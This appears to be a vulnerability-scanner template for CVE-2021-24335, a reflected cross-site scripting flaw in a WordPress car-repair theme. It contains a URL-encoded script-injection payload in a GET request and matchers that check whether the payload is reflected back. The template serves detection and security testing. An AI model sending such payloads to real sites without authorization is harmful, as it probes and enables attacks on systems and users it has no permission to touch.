id: CVE-2021-24335

info:
  name: Car Repair Services < 4.0 - Reflected Cross-Site Scripting (XSS)
  author: daffainfo
  severity: medium
  description: The Car Repair Services & Auto Mechanic WordPress theme before 4.0 did not properly sanitise its serviceestimatekey search parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting issue
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24335
    - https://themeforest.net/item/car-repair-services-auto-mechanic-wordpress-theme/19823557
    - https://m0ze.ru/vulnerability/[2021-02-12]-[WordPress]-[CWE-79]-Car-Repair-Services-WordPress-Theme-v3.9.txt
    - https://wpscan.com/vulnerability/39258aba-2449-4214-a490-b8e46945117d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24335
    cwe-id: CWE-79
  tags: cve,cve2021,wordpress,xss,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200